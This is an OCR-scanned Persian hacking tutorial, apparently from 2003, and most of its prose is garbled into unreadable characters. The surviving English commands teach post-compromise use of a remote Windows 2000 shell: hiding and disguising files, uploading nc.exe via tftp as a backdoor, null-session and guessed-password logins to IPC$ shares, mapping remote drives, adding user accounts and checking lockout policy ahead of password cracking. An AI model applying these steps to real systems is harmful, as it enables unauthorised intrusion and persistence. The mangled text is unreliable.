sl Caounsd - LD,SD Sy s9 0w 5939 Wlygr0 1Allio pU +
SD g ASuuw (g9 +

Saowo bl rodiaung +
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1382/07/11 :a5l,l 3w,U +

TA,)95 0 S0 A U (H9,w j9dig Wl ,9,0) WBywyd Sy il -

aS augdswed dibisw cws shell b aSiul 5l aw (S s SB 9w 593009 aS Sl 51 (sus aS 03,5 ol ppy @,

5l Aiigicsns (i uddeso ozl 9, LS Gl oslel 80, S SaS @y aSiyl 5l aey Weswasy wi> il e oy Guasy

A loos aS puiScse 029 o il (i (WS o L Bowed gl pund il S osleiwl seaig (sileyd s wligiws
w0 VU g, 393 whlusl adaw g 0SS el wSyshaz V> (03,5 |y cows 59109 shell

S35 a4 4 s il v 2S5 Al slallioe ewsS g wows shell @y Sehx aSiul 4 g>1) jeid o aS 3w oo 5l Wlo
SSEapls xp b Yo e v sais Jolepiww losis ST 590 1algs Saws Slagu,s sl pus ol @S @il Olg> So,95 (50
WS>l Ugine> yigasolS )3 95 99 Shell ulg>so aS1 oS Cows UgIde> LigasolS (So) Awigicso 9y Wlio wul ko
.Cowl command prompt weso aS cmd :acuugi sl 9 auds ,Lad |, Run aiysS 0,5 SUS o, Start

Slasui 55 aS aigy aS wdlescso (sdg 1S [y (swpiws wsl shell g yigaolS S @ lowi aS awS (5,9 aShl Sasy aSs
Lol @ yigasolS ol b 5l s Syshx b g aux ol waulby 9 s SlaS,s slasigaolS ax o)ls 51,8 LiguolS ol aS
Wl Sroe Sl as cowl (g, 59309 5l Slass 03, Sd) ob @ (Slallao @y bgsro £9080 ul 35S 13w rawows
PISD Qudyi Dy

Ligicao yigaolS Uged 5> SlaSs Sa,lS ax ysiw, yigaolS S > seaivg shell @ (sudy aS aSuo lowiy @y Alio ol pau
Ly el

110,935 VIS, B uw)> (s iSow Gl eSeswe Vil aid iy U Saie adaw 5l gy Wowss Srw ol
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599 S Jole picuusw £l9il Sy pususii -

135S SAupuand 09,S 95 85 9) WD Ao aS 0)l> (sdlixo lgil 59009 Auigseso aS Hebulos

9 AN 593509 A0 593509 (7)) Srw U) (swonad Sdjeig 15l 1,le as dos family (slasoais | desktop cslajeais -)

Me s91509
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..Li.:b)@o,ola.ﬂ uugl.o L_'g,g).lo‘ﬂ Ug.o&.og @SJSLS Jo.,.xo)b ) Lm)ls Aod Ug> .LuSva uub44>| l.i3| nS).-g)L: x LS)Lu \ng
o Lol L5 oie .S U gy shell g loal wheiws oul b al lowis «5)ls wsuso wlls shell wg> g
Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

I:\>
Saulys Ulod Vgomo aS o Lo0Uum 91bs 9 Cowl Yoo 59009 3,9l Wsl L5 g, shell o aS (slolepiuyw aS 1uS wds

pogiesw S dlgs (siglasio sux lodowo o ccowl T gulys c00i wuas Wl )5 909 aS el

I:\> C:
Lpsowd C gulys 55 WVl aS oauo Vg 9 S sw s prompt Vs . poiw 55l Caulys @ b
C:\>
PGSO
C:\> dir

raine ol 5 cowdd g
Volume in drive C is FREE-START

Volume Serial Number is 3623-07E6

Directory of C:\

09/06/2003 06:29a <DIR> GAMES
08/15/2003 06:20p 1,806,727 phpMyAdmin-2.5.3-rcl-php.zip
06/17/2002 07:06p <DIR> upload
06/19/2002 07:02p <DIR> mailserver
09/13/2002 03:59a 8,053 port-tcp-c.c
02/27/2003 10:28p <DIR> mp3
04/18/2003 07:38a 1,152 araz.pl
3 File(s) 1,815,932 bytes
4 Dir (s) 95,502,336 bytes free

Sl (658355005 ) LaJg9 Sy GAMES Lol Mo wuwl o yigasolS C guby> 5> 39290 SocS,9:S 01> 9 BB o 8515 5> Lol
Vs Lol o] 5l law ol a8 araz.pl Wy .odme (S,95Suls simo @S oawgl <DIR> aolS shw wgl J> > wgx
PGS0

C:\> cd games
Lpgiiise o> o

C:\GAMES>
9 Coud (suld)ed b Jolb ax ,0e8 (ul b puiun aS pangivsw g, dir seiws 5L wploas games pwl &1 S)Jed 5)ly (i
Lpgiiiso o>
Volume in drive C is FREE-START

Volume Serial Number is 3623-07E6
Directory of C:\GAMES
09/06/2003 06:29a <DIR>

09/06/2003 06:29%a <DIR>

09/06/2003 06:29%a <DIR> FORMULA1



09/06/2003 06:35a <DIR> Sp

09/06/2003 06:36a <DIR> SUPER
09/06/2003 06:39a <DIR> UF

0 File(s) 0 bytes

6 Dir(s) 95,502,336 bytes free

Lpouigis a1 Ugxr i (sBly Slacs ,9iS uls (sl Sgs Lo)l> 3929 S,9iS,l> £ ASso as
C:\GAMES> cd
orSeso o>
C:\GAMES>
Lpsagiy @S| g liay (s8lail zud (susy
C:\GAMES> cd
Lo wlg=>
C:\>
as ploas W8 Lex g piwd C oulys 53 OV Gay e39s Wid aS C glys iy, Ugad @ pangl 5 piiS y e @ H0lgd @ (s
poangiosne o 9y i il ol Olgizo plascse s Ggl s araz.pl powl @ sl
C:\> type araz.pl
psii e Ulg> o
#!/usr/bin/perl

print "Content-type: text/html\n\n";

use Socket;

my ($Sremote, S$port, @thataddr, $that, S$them, S$proto, S$getpage );

Sremote = shift || 'www.securitytracker.com';
Sport = 80;

@thataddr=gethostbyname ($remote) or die "Not Connected";

Sthat=pack ('Sna4x8',AF_INET, S$port, S$thataddr([4]);

Sproto=getprotobyname ('tcp');

socket (SOCK, PF_INET, SOCK_STREAM, S$proto) or die $!;
connect (SOCK, $that) or die $!;
g salam bar to Mo awl Jhw S had Guwibgixo aS «p3lun 3> LB (saio S5 plgzcswo wcwl araz.pl LB wlgizo ol
S 5l 95 aS ols 59>9 ol iz Sl Sl alil000.txt sl pd ol
i Apigicse - )
C:\> echo salam bar to > alil000.txt
el Augicswe 9 -1
C:\> copy con alil000.txt
. pood JB aS uau JLind g, CTRL + Z oS, (aui plod suid9 9 auuS b gl |, salam bar to 'alo> g o>; enter g
dir joiws a8l g aino owd pwod L peuses (ol ,a)sd Sy s @ (susy ) i, 53 9 C s 53 Lo Lo wll> 95 La s
Dgiows b sigicse Vs Loai adlol cowd @ a> L SO aS suiweswasS b=l o)

C:\> type alil000.txt



Lpuangicsn o3l tUr2 powl @y i 5398 SO pudlos s Tiwd (s digsesw pdVl @S| i o) S wlgixo

C:\> md tur2
Lpagicse il aS ($,189 95 s pleso Y oo sl > 5189 aS piucse vouumsiy o) dir STV

C:\> cd tur2
s ;008 @ el @S] ki cazr idS Wb @S ol 3959 Lol 5 o 5+ g9 55 Olod bass Med picss wopSeswe dir 12 5
pouwgiesw oo5lun far30 peowl @ tur2 ;odgd ol J=Is )

C:\tur2> md far30
10,05 59>9 Lol piseso S dir S g
Volume in drive C is FREE-START

Volume Serial Number is 3623-07E6

Directory of C:\tur2

10/04/2003 07:17p <DIR>
10/04/2003 07:17p <DIR>
10/04/2003 07:18p <DIR> far30
0 File(s) 0 bytes
3 Dir(s) 95,477,760 bytes free

S ccowl tur2 5adgd s Lwsgs as far30 ,aJgd @y a5l g, alil000.txt LB plg>cswo 00w adlol pd far30 ,ulgd (sus
WU VT YN
C:\tur2> copy c:\alil000.txt c:\tur2\far30
aS bl b 9 oo @lold Sy U aw engicsw ) COPY Lgiws Jol aS uarepd loi> cowl odlw s Ginsbislw
JB aS auS wds pugican 9y i oS B plesso S Sruo calold S b3l s 9 pegicnn 95 4SS pleSeso
PSS D silys 9y B puod pisatigicse (auine bl 13> suio 55 1A (S Su g Ugecso (8L 03,955 Cws (slol
poagiy Wb el il Hs @S
C:\tur2> copy c:\alil000.txt d:
pagicse oS Sk Cails 5l g, alil000.txt LB plozcso (i jeiws V> aiin S D o> a0 Jilb aS
C:\tur2> del c:\alil000.txt
Slesds o b 9 swao ccwl @i, 5 piS Sk o)ld as (sl (g piwd tur2 ,3Jsd )5 VYl o Lex aS S wds
Lpinbigican 391 pisud OVl o aS (syl>Ugas JU
C:\> del alil000.txt
el Mio aS ol @ 0S5 U ) puls LL3 S aS iy pigicso 0355 35U 9, shell psgs siguolS (Se, (sidg aS @il ppo ASs
Jeopd Ao Syshz sl caines ol ool il Vsoso casuyso gl a4 03,5 S 28g0 aS s shell ;> g (59, c:\tur2>
2 sgiows b cowloslw (sl Spiud 1S
cd
1030 Llg> as
c:\tur2
Lpangicsw xigad oo o3,S suS Caulys 5> s9>g0 tur2 ;0Jed ,5 59>90 far30 ,aJsd @ g, alil000.txt Jo1& Wb wg=
C:\> ed c:\tur2\far30
i 9il 0,y dir a8
Volume in drive C is FREE-START

Volume Serial Number is 3623-07E6



Directory of C:\tur2\far30

10/04/2003 07:18p <DIR>

10/04/2003 07:18p <DIR>

10/04/2003 07:08p 15 alil000.txt
1 File(s) 15 bytes
2 Dir(s) 95,477,760 bytes free

oS oslaiwl s iws 5l (5 ol Ved @ @ (suwr) C ol 51 tur2 ,uded @ puS Jasio o) JB ol plose a8l
C:\tur2\far30> move alil000.txt c:\tur2
V> sl 03> Jo @ 9 aine S (sl J=o 5l iy IS @ alino Jsiio sdeol L aS il copy L move sgiows 8,9
Deiws b oiowl 5aJed @) plie Jol .puS (S pigicse (s wgl )3 5,089 b L gud (sisy) 03 (sJl> far30 ,algd as
C:\tur2\far30> ecd ..
pSese Sl g, far30 ,aded el (b @) 3088 LSS S| yogaze aS 5 1> Hgiwd b g
C:\tur2> rd far30
P9I s (P Laa® Araz.inc au g, alil000.txt L eowl ple>cso Vs> asiuo SU ,aJgd o
C:\tur2> ren alil000.txt araz.inc
9 ali1000.inC powl b Jy £, araz.inC cowd Giwowwl aS LB oul 51 oS s plgdso Vs v Giodao aS 2, dir
Lpaagicso Uty M98 ued >
C:\tur2> copy araz.inc alil000.inc
95 5D A pisso iy U sl Couls 4 puS Jaiio 95 JB U 9> 13 plsiso V> apueso JB U Y 0,8 dir &SI VL
g JSib 93 @ pigicse INC Ugdiig iy o Cowl @ Ugidsl B> L6
C:\tur2> move a*.inc c:\
Lpaangiy piigicee 392 5398 (ul )3 L Uy Guod hid s> (5o
C:\tur2> move *.* c:\
W 5l 9 00 05 & s Sy Sy pigicse bl 909 5388 aS Soulys 9,098 W oy ploSise A 4 V> b (s uid)S
HocwlaS oo seais L9 aS pigscso g s> yisolS Gl Ve (sls «o)ls winnt o> aS susl @ oewn U oSy dir
PGSO
C:\tur2> I:
A= 9
I:\> cd winnt
Sl s 9) WD oigicnos g Ao 5 a9l Sl 5ol Sla,alss o U Sl csvd aS puiwsso oS dir S5 g
PGISO i Axbo A Axbs plgy
I:\winnt> dir /p
L legis Aigie v 9) Baugw Aod o oulsze &SI cowl page waxo P augw ol aS
I:\winnt> dir /?
1 C o> punsSy a g Touls alin, @ punsS Jsl oy whhsiws U Il jux a0 V>
I:\winnt> cd ..
I:\> C:
LI9SR Axbo A Ao W0 U pdUgl o, I gl sl winnt ;0Jgd wlhgizo C gil)s 5l bowsiuwo plg>so VYi>
C:\> dir i:\winnt /p
L 5909 U bogise 5Jgd 5> 9, BB o Lo U1 Vg plsso oo Ll ux V>

C:\> dir %SystemRoot%



S U0 Sy pleswo g, dir jgiws Shy LA> zugw U Sediug L9 Lsusy %SystemRoot% aolS Shell ;s g ! L..ail
Ve -0)l> 13 ((owd 9309 W bgyye 198 (o LigasolS 5> aS ) T aulys 5l ,aJed elas ;s cmd.exe (sul=l b @b, o3k oo aS
Ehow ploi 9 0,0 30 Yiupr e A (sidg aS piS oslaiwl g Sl WL eian 9y B)ed ST ST e pigicse
Lpoaigicso 9 puS s o3laiwl S gugw Sl i oD 9) (Ligsd>ls Sla,a)ed plod (susy ) ,ed Vgl Sldaiw
C:\> dir i:\cmd.exe /s
Lpgidiese Wlg> 9
Volume in drive I has no label.

Volume Serial Number is DC24-A09D

Directory of i:\WINNT\system32

12/07/1999 04:00a 236,304 cmd.exe

1 File(s) 236,304 bytes

Directory of i:\WINNT\system32\dllcache

12/07/1999 04:00a 236,304 cmd.exe

1 File(s) 236,304 bytes

Total Files Listed:
2 File(s) 472,608 bytes
0 Dir(s) 1,255,153,664 bytes free
ol (i @S oy 599 U g3 55 9, abbauye Jobd cailes seiws ol G
1:\WINNT\system32
1:\WINNT\system32\dllcache
dir o ( lecwd wgish aS Gieiws ) C o> @ 3,5 w00 Y aogl s95u9 shell aS pusisgs FUN s Lo aS ajgod cmd.exe ¢l
o aS sbo Giur DB a0 9) 13> seiwd A ploine md Lugl pd s alil000.nC Ll aS piniso 9 S0
a0 g, ali1000.inc LB aS oSyeiws .awl hidden b (sexo wigo @ pulsscso oo puitundiso sorw o @ gy LB
] (S sw
C:\> attrib +h alil000.inc
9, wéxo Sl Ll dir jeiws SoS @ plgzy aSl oo pd jei8 aidl . piusod g, alilt000.inc L aSos 0,5 dir 81 V>
oS s oslaiwl @ gugw 5l euww ((@li1000.inc adox> ;1)
C:\> dir alil000.inc /a
psangicse ool 53 osiseo > 5l gy L ploscse V>
C:\> attrib -h alil000.inc
s>, puod @
a8l . pasS Uil guinseS slasi bhid (o g Jiud b5 wdus Olgiws ool piigs Uil aS se) dos (sJgase wlgiws Wl

Mu5Sy sb Sy hgiws Guigiese (S Iy Vsiig> S)lil g3 puls VLS

39329 > Lpil padlan 9 B L Nigwwy -

Al (uols pudlas W@aigu 5918 Jolepiw 5>



whgiws ;| Slacgozo aS ,Ssw batch file g, bat xiguwy b s 1 ) .2u,ls bat L com | exe gy b=l syl -)
S sy (s guiiligizo type seiwd SoS @ Gugicne pay Mgy bl i @ aS pasiy gl wsigicse 95 pwld
b=l LB @ plescso Vs caawlh>l BB (o o waigs> B wgily Giwibgixe aS awd (sul,>l Sla Juld com g exe
dir ay Jgl .piS 1,=1 9, ttp.exe Ll plozcse 1S =1 9, (b=l L sigicse oSysha= shell ,s aS suiww aS o)l wsily o)
@ oS bl plescswe Vs Loyls 18 ir\winnt\system32 ;1Jgd s Ll ¢l aS oo 9 %SyestemRoot% ;g9 5l oS esw
Lpoaugis A=y g winnt\system32 ;198 g5 o aSiul (sJsl o plil oS Ll eigicso usb 9>
I:\WINNT\system32> tftp.exe

poagis ool aS (sulond Sl lowdiune aSil b

C:\> i:\winnt\system32\tftp.exe
pgiin Clo> 9

Transfers files to and from a remote computer running the TFTP service.
TFTP [-i] host [GET | PUT] source [destination]

-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.

host Specifies the local or remote host.

GET Transfers the file destination on the remote host to
the file source on the local host.

PUT Transfers the file source on the local host to
the file destination on the remote host.

source Specifies the file to transfer.

destination Specifies where to transfer the file.

Sla, bl awly sl vgisk Sl .piS b=l eigicne Wl ool Gitiigi b aS parops s €xe o L Vg Loz L
£35S0 98 Guod pd NC Jio (silo o>

slulbowl sla s -7

USiow urSaies 1 (siind (S e 53 Wio aiS w0 8,9 Mg s 5l W Jelepianw pbw U 5909 53 (sl sla L

) Spgai S Wio .sloasi s)lulowl (suheza aS acwd B LB S)w a4 o lawl acwly Sxguwy s>l LB Wol
wwbicd] Guy .. 9 php @sp S dsd ((au,ls htm L html sasigawy aS ) html sy (a)ls ...9 jpg gif Sldriguwy aS
html L1 @) sigicsns (g 13,5 S g, Wy colw @ Lo aS 2uS (0,9 .S SS (b aigicse Uyl wioyd 9 LB ool L
Mgy 50 dwgicsed @S Ao Gl Qe ey 5b8 Colw Jol axans sl aS auiS s>lb

153,08 Sla,li8le, Sla ol -T
Als psd gy Wligid Sl Wio aisScswe Al pols vy @ b gigdiildsn>9,3 093558 S35 Sa,l3900,
...9 3,5 doc xguw MS Word sla J,1

5939 »> L0 S picwisun glgil -

‘e oslaiwl @939 53 aS Cowl (suldgihs VSS9 9 Syl Gue, &8ls L b Slaeiwew Sl e sshie

owl 05,5 oslewl LB S pswuw Sl wlizo Sayug, 51 Y& U sls all g, Gwls aS siloj 51 wdlung,Solo

Ao oslaiwl ywls Jolepiowgw 5> 1 FAT16 -)

Aubeswo oslaswl me U A0 j9au09 5l 1 FAT32 -Y

Ao osleiwl nt 4.0 Sl psawsw 5> 1 NTFS 4.0 -V

5959 NTFS Mo .cacwld NTFS ¢l jghaio NTFS pisS 5,8 .5gdieswo osleiwl asy @y Yoo v 9009 5l 1 o> sla NTFS -¥
U @0,’03)5Y”’

258053 3w Sicsegad S Jolepiwuw @ bgs o Sauoini b Sy, sl pigicse siva> Sadole piuw 19l ass

aS ) ol aS (illSol 5l gin sgrmw Yoo 59009 aSil oSy Mio .auls 593 pogaze Sxuoinil sk sigs Shal Shy s
iy wo,d NTFS g, a0 b aulys S5 J8las aiS eslaicwl (lo,ls s pSeswo lasy



£95 Liound - LD,SD Sl s rw j9diug WU g 0 1allio U +
S 9 ASub 19090 +

Saowo )l rodiungi +

29 > auigy  odipgl 5,5+

1382/07/12 :al,l 2u,U +

S,slsb -

U =95 9 LS JSg,w 3,800 SigolS Sy wigo A g serw Su b bo s puss ol 53 losdid allio aolsl Alio ¢l

Pl cowd as Slason ) gl a4 Juain Sa,iguslS

S shell U, 9lcaw 1 Ay H1S Gulsl -

K S piSesn s Luinod oo 050> gl g, 9 S @ Sy @iie plil j915s Shell Usyglcway 5l a=y aS ()18 sl
P S @ 9, NC pd Voo 9 068 wwai (siliyd yigaolS > backdoor L ulsg s

5b8 o ,Lasl s shell S, oo backdoor ¢l owsS o slul ib)d SiganolS 5> backdoor @y (sidg aS dswuso AuS a>gi S|
oS skl NC SwS @ 1ya> shell S, puyls shell adg asS o)ls 59>9 g3 ax Juw 03w

roowl aw gadyds

Aoy aS oS s Jlo @ s wslolss | interactive aS ouiS sw 1w cows il 5igaolS s shell S a4 b a8 -)
o2l oS 5L Ugeses iguolS s shell & emd jgiws SoS @ (sdud s s sl wgish a8l s Uses wsdolsi 51 jglaio
AS> U 3l Ay aS sbs o3zl o 4 Jub 03,3 oslasiwl copy con Hgiws I sidg Wio Joo ol > el sdoles Jo S5 shell
3,lg0 5> aSJl> 55 L (puS save g, bl g poungis ) S Gl L J=1s 0,18 aS (suse Mio ) o plxil o, LIS aus) Enter
Jo (B9 o lsl g, 518 9 pul ails Jolwi shell b pigicses aSus omugis 9, COPY CON Hgivws (sidy cosdolsine

as pisS g, €Ch0 giws (slud s 5> awl Ogish a1 e plxil Srbhw S seiws S Lk 9) S 58 el (sloleijyne
BB ssiws cul sdoleine Sladui > peussbwese csiio L yulal 831y 5> 9 pussSeswe Jaiie L SO @ guivis=rgy>
shell aS aiilscswo «iiwd Ll Unicode bug b Mie aS (slsl 15,10 Lo b csdolss gud sgiws «Sha! 51 amy Ly el oslasuwl
Do Juaw wdoles Joiw a0 cowl g 9 owl wdoleiue Jow b shell non-interactive <o sl caowiy Ugl SoS @ aS s
2SS HB iea], cowl (sdoles Joi o aS wgl Joio b euigicse couiSiswe Ll 9 pusa;dcsw0 s @ [ NC Wio Lo (589

g0 algs [l Ll sdolss shell S bwgs bad lsasls! sla,ls

290 3 wsiuioloa> Sy L3S exploit w5, LIS il Yseso puslise ows (siliyd igaolS <Se, shell o Lo csadg -¥

ol 53 9505 pudles cws 5l g, Jui Lo cdlin 885 igaolS Lsl Jggumo brwgi ol JSiine ol (S395 SS1 . pulos,S s

Sy adlgs Sa 015y Sy nc Joo S anals (gdlgo

S8 aiSon Wio 35,138 s S8 Sl s Jui S Sl iy S Nigwin i b3 igaolS 53 (siby BUl>g)5 (suasy <Y
a local wyg.0 @ LS aS o plil Sysb g, slescso aS (suld,lS 8 W 9) (LS Jgrw SLSLws remote g0 @ gi
remote sla,l3800,0 ()l3800,0 Jud cul @ 1o 900,S 0)ls |9 s seiign Sel> 9 o)ls Cswyiws (b8 yigmolS

... BO2K.NetBus VNC .PcAnyWhere :;l 1,lc & remote control ¢,589,20 .S sw control



€4S JLw,l BAd LiguolS @ g, trojan aigS> -

Gl tftp U @y (Slaoly sl oslaiwl gy il HS Gl Sy piwstr il sigmolS @ 9, NC ploxcno Lus> ol )3 o
Slo 5o 5180050 ol powl 5l aS jebulod .o,l> s59>9 %SyestemRoot% asLu 51 System32 asla,y; > uo,9ium Whge aS
1015 oun,S LIS pulal Wd as ftp wel b suldwglas bol oowl aSiei b 51 Jle Jssl i, S
. password g username @ S5 9a5u9 Job U wubews Sl oy wgl 1 eslaiwl Sl )

SS1 o oun,Ss >l g Jaiio gy NC 50 o aSiul @y azgi U g owl sdolsi jue tfitp g 5,05 sdolei wlls ftp wiyMS -V
5,5 oslaiwl ftp 5l Olgicsos (il sdoleine ousyol s aS sl

S puiS oLl ttp 5l Syghas Vs
Aol Gayi99,20 (g 0l> 39>9 (silizeo S0, S L=l Ugides yiguolS (So, P Horw S WL Lo aS anl LIS ol
S ol S9, SIS L sigicswe aS el Y, 05g Ll38l000 ol Ule Guida> wowl Titpd32

5 Lk Vs s saluslshttp://perso.wanadoo.fr/philippe.jounin/download/tftpd32n.zip

0l ol U and sISGw aS auin 5L H8le s =iy U awsS s SIS s tftp32.exe LB o) g 05,5 &)l zip s Sl

Thpd 32 by Ph, Joussin

Cumerd Dectory [[F\iaX) Bicwze |
mm'::rum :] Shaows D
Thp Server | Tip Clent | DHCP serves | Systog serve |

n,.' Cumerd Achion | Liskersng on post 63
(T Setrg | Hep |

50 aS Sloy=iy 5 9 05,5 SIS Settings aoSs Sg, Jgl .5 15 ;1,9 D gul)s 5> far30 peewl @ S,3J99 5> nc.exe JyB aS auS (o,9
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NT 593559 S9, iy b=l digicso pd JSo) g0 @ jeiws @y aS pScswo widy aSiyl aSy> wllao ay g >l aS sl
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net

The

NET

NET

help

syntax of this command is:

HELP command
—or—

command /HELP

Commands available are:

NET ACCOUNTS

NET COMPUTER

NET CONFIG

NET CONFIG SERVER

NET CONFIG WORKSTATION

NET CONTINUE

NET FILE

NET GROUP

NET

NET

NET

NET

NET

NET

NET

NET

HELP

HELPMSG

LOCALGROUP

NAME

PAUSE

PRINT

SEND

SESSION

: net help -\

Loouwgicsw <owl Net jgiws help g3lg s jgiws ¢l

NET

NET

NET

NET

NET

NET

NET

NET

SHARE

START

STATISTICS

STOP

TIME

USE

USER

VIEW

NET HELP SERVICES lists the network services you can start.

NET HELP SYNTAX explains how to read NET HELP syntax lines.

NET HELP command | MORE displays Help one screen at a time.

Lpgiiiso o> o

Loasis MU 00 wleMbl sy, S 9 net time jgicws 3,00 45 plosy a8l Mio .axoly MolS wixungi



net help time

net time /help

sy wlxuogi U

: helpmsg net -v
Sy aS o0 b @y (w3, ¥ Slas o,locis S s9ig by Y ulls aS e b=l (sisgo @ Net jgiws Sy aS (sids
Locuugicsw Wio . oS oslaiwl net helpmsg jgiws 51 0L Uas ool 5,60 53 i wldy> sl

net share shanguli_mangul_habbeye_angur
Do Vlo=> o

This shared resource does not exist.

More help is available by typing NET HELPMSG 2310.
oaugicso (A Uas Ol oughs aSil Sl o3l o @ s, ¥ sac Sy g osls yinlsS o) Uas S
net helpmsg 2310

ool 0395 A o olunil aS a8 o W 9

: net time -Y
shell S a8l sisy ) aiSsw oslaiwl JSg) wygo a8l . puiS s oslaiwl jg,w S So, Ulo; Uieapd Sl jeiws il 5l b
g (S ol uged o) whgiws 9 2,05 (8ilyd Herw 5>
net time
G910 uyd o> @S net use jeiws bawgi wlesls JuSis session NetBIOS S, wsisy) duiScsw LIS remote g0 @y a8l (sJg
uoagi (03w 03> puogi pd 1TA
net time \\xxx.xXXX.xXXX.XXX

pul> ywly session aS cowl S ip Ulod XXX XXX XXX.XXX aS

: net use -¥
igasolS S wanw disconnect b connect 50,18 ol L cwlosd Gy YT WHgy Gz, aS o)l ppo 3,08 9> Heiws ol
S ip b SyiguolS @y yechizi 5,6y L Administrator «olST b plgsy a8l Wi .caowl Jled NetBIOS g 5L ¥4 wyg b
3,5 oslasiawl share ¢l 51 s uod @ «owd Vaoso share ¢ul) IPC$ oowl @ S share ay puin SSHIS XXX XXX XXX XXX
toagivse « ((AsS oslaiwl g, Ugad (pls gMbl (5,55 share s9>9 5l (il yigxselS S, lowws a8l
net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator"
aS w0 bl U eu JuSas Session null S puisawigicswe eudcso plzsl net view jgiws 51 8 gl aS sgu Jgl 5,058 ol
10,80 il 4wyl s g, password ¢ username @ bgy o Caoawud
net use \\xxx.xxx.xxx.xxx\IPCS "" /user:""
9 p5,S )=l o, net view jgiws 325 9 3,5 L=l 9, YU Hgiws aSiul 5l s aS aul Saw 5,0, Teowl oanw JuSois session V>
00 Cauy aS share powl a8l Wio .p0uS oslaiwl o, W share ol 51 Sy 9 olu 50l Cowy o, W share JolS o)
paagican puS S uldl pisi aS e Cu iugs 9) 13> o3 S plew 9 «auwl SharedDocs
net use * \\xxx.xxx.xxx.xxx\SharedDocs
share sl aS el @il G Mao ((9ulys> S3sow wlais! b ) Go yisasolS 55 aulys Gyl Mo a8l aS aul * ,iSLIS suso
paangis pd Syohigl piaigicse Al H (s Sas ailys caiso oslaiwl

net use H: \\xxx.xxx.xxx.xxx\SharedDocs



5L wlsws 5l ey My Computer 5 pudosliso 1T gy pund Sei oiS LS puldl sdxo gibs So Jio pigicso V> Lo
S aubs sl b pd whgiws ol b pwigicse pulaid)S sb gy pwls whgiws bo gz woussSeso LIS 03> subs b g pussSesw

Lpangis Mie oS

dir

1w ol b pwsS disconnect b i pgod share b ugo,lS s

net use /delete H:

i ghd bls,l b

: net view -0
0.0 share ol wilio ax aS iy plszsw Vs g (0240 wls> oo Null Session s 8) olosls J.S_is netbios session
LPAAYI SO

net view \\xxX.XXxX.XXX.XXX

oxSeso o> Wio 9

Shared resources at \\xxX.XXX.XXX.XXX

Share name Type Used as Comment

SharedDocs Disk

The command completed successfully.

oS oslaiwl share ;| pigicsw net use jgiws L Vs oo share aS wwles;aJgd SharedDocs aS auuswo

: share net -¢
( Ao oslaswl remote (G W-3CV} ;_sv\]l.} PLVEWAY );WS [GYFVAV L.JLSS.J OH9o U9y a share as CL-S‘_s\.o SoS b VST VEVAY qu
Lpoangisw owd VYl suld share ax aS pouw plgs>osw .

net share

!prgw\4b>9

Share name Resource Remark

FS F:\ Default share
IPCS Remote IPC

DS D:\ Default share
Is I:\ Default share
G$ G:\ Default share
ES E:\ Default share
ADMINS I:\WINNT Remote Admin
HS H:\ Default share
cs C:\ Default share
Js J:\ Default share

The command completed successfully.

Lpaangiosw wouS S W share cowdd 5l g, C$ Mo plgscswo Vs wgs 1lauoly  Ugiod



net share CS$ /delete

PG o puS share 9) Ugod o)b_9> ,o|9>-.,s\o HGWWey) Clgp aS psuso A/o)l.y ) o) o_,l.y_9> a3l

net share C$=C:

Looungicsw ouS share g oly info pewl @ g, C:\ali ;0Jgd Wio plgzso V>

net share info=c:\ali

2020 Caowd 3,19 S i Sy o] &SI V>

: net accounts -V

paangisw g 0slaiwl JISe) whgoas .aiSw Ul peuloass s)lg wgl L aS wswlSI esl,y g, Account Policy

net accounts

Force user logoff how long after time expires?:

Minimum password age (days):
Maximum password age (days):

Minimum password length:

Length of password history maintained:

Lockout threshold:

Lockout duration (minutes):

Lockout observation window (minutes):
Computer role:

The command completed successfully.

L PG SO gAg? Uiog

Never

42

None
Never
30

30

SERVER

Grb Sl slgs s ewS aS S (6,9 Lcwl (siwiol Sug Sy ol wcwl Lockout w,le o)l puogi @ sl aS ssoand Lpis

aS puS pubii g, Sl S 9> pwigicsw (WS Crack ) &S o 95 500wy oS S Sy 5900 S slasi WSS Ulssel

Voo sy .auin 1S LS8 L, aS duinue el owl cauiny Jad b locak asds dis waw a4 (89900 s ,U aw 5l ay Mo

(s Sa=y gy 9y Jeato Wlkwogi ) alin J88 55,8 aS cewd (S,9> Administrator colS] aS wowl (S slail

: net user -A

wuleMbl aSiul 55 9 ol 0aui Wy psawnw 5> oSl ax aS pwgn JSg) Wjg0 @ aS S swe SoS b a4 jgiws ol

Lpagicso (0 e (ldeilSl ax pig plosise Jsl LouwiS yei i oSl 5w 9 el ow Supd 90 53

net user

User accounts for \\computer-name

Lpgibiso Wlg> 9

Administrator ali
ASPNET Guest

The command completed successfully.

araz

Loaagiso oSy wileMbl guest wolSl ay g>1, plog s Mio V> g

net user guest

User name Guest

Full Name

Seso o> 9

Comment Built-in account for guest access to the computer/domain



User's comment

Country code 000 (System Default)
Account active No

Account expires Never

Password last set 10/27/2003 2:58 AM
Password expires Never

Password changeable 10/27/2003 2:58 AM
Password required No

User may change password No

Workstations allowed All

Logon script
User profile

Home directory

Last logon Never
Logon hours allowed All
Local Group Memberships *Guests
Global Group memberships *None

The command completed successfully.
wuld0g,S ax a; wlSl ol aS sani wly Leds (Local Group Membership «s)law ) 531 @ ogo U Y Lo 53 aS auucswo
AsS oslawl  agisw e net users  giws 5l net user jgiws Sba aS asS Wl o)l Ble
oo Yechizi wgl 5,9y 9 awwl vahid ples o oSl puwl . ouSs adlol aa> wolSl S plog>so V>
net user vahid yechizi /add
oS Sb gy WilSl puod plosso V>
net user vahid /delete
9 WSl &S Syshx aS aSiw bo @ Saw Hgiws o ey US 3)ls @ (swgi) aSos Us,S S eiws > aS S wds

9 =0 09,5 S gac aS oS Hlblg

: net localgroup -4
3409 Cowd (suldeslS] ax ogyS ol 5l 918 18 55 1eops Ao 5w 9 WS Uy g 03k el (sl Slaog)S o
Lpagivso wowl 0000 ayy95 (sdxo SWog,S ax aS s plezcse 15,8 a8lol Sl pols 09,8 Sy @ Ao

net localgroup
psii e Ulg> o

Aliases for \\Computer-name

*Administrators *Backup Operators *Debugger Users
*DHCP Administrators *DHCP Users *Guests
*Power Users *Replicator *Users

The command completed successfully.



i obuil BedlS] b b osse L8 * Sy 09,8 1 ol Jsl 3 sbo Net whgiws auls alyl plSid Vsaze jeiiss aS 1uS wds
ot <Caoud wyldes Sl as Administrators og,S > Mo aS eiuw plssso V>
net localgroup Administrators
Lpgiise Llo> 9
Alias name Administrators
Comment Administrators have complete and unrestricted access to the

computer/domain

Members

Administrator
ali
